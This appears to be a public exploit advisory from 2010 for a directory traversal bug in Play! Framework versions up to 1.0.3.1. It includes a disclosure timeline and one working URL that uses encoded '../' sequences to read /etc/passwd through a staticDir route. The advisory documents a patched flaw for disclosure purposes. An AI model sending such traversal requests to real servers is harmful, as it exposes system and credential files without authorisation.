Play! Framework <= 1.0.3.1 - Directory Transversal Vulnerability



Exploit Title:     Play! Framework <= 1.0.3.1 Directory Transversal Vulnerability

Date:              July 24, 2010
Author:            kripthor
Software Link:     http://www.playframework.org/
Version:           Play! Framework <= 1.0.3.1
Tested on:         Ubuntu 10 
CVE :              N/A
Notes:             28/07/2010 at 14:03 - Developer contacted
                   28/07/2010 at 15:04 - Fix released
                   10/08/2010 at 17:00 - Exploit published
References:        www.playframework.com


An attacker can download any file that the owner of the Play! process can read.

Simply browse to:

http://127.0.0.1:9000/public/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

The '/public' directory must be a directory with a 'staticDir' mapping in the 'conf/routes' configuration file. 
Typically an images or css directory on the server.